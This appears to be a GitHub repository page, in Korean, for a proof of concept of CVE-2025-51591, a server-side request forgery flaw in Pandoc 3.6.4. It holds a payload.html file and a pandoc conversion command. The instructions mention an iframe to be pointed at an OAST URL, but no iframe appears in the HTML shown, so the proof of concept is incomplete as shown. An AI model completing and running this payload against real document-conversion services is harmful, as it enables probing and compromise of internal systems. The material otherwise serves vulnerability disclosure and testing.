malayke/cve-2025-51591-pandoc-ssrf-pocCVE-2025-51591 Pandoc SSRF 취약점 개념 증명
JGM Pandoc v3.6.4의 SSRF(Server-Side Request Forgery, 서버 측 요청 위조) 취약점으로 인해 공격자는 조작된 iframe을 주입하여 전체 인프라에 대한 접근 권한을 획득하고 이를 손상시킬 수 있습니다.
⚠️ iframe URL을 자신의 OAST URL로 교체하세요. ⚠️
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2025-51591 Proof Of Concept</title>
</head>
<body>
<h1>
CVE-2025-51591 Proof Of Concept
</h1>
</body>
</html>
pandoc payload.html -o output1.pdf
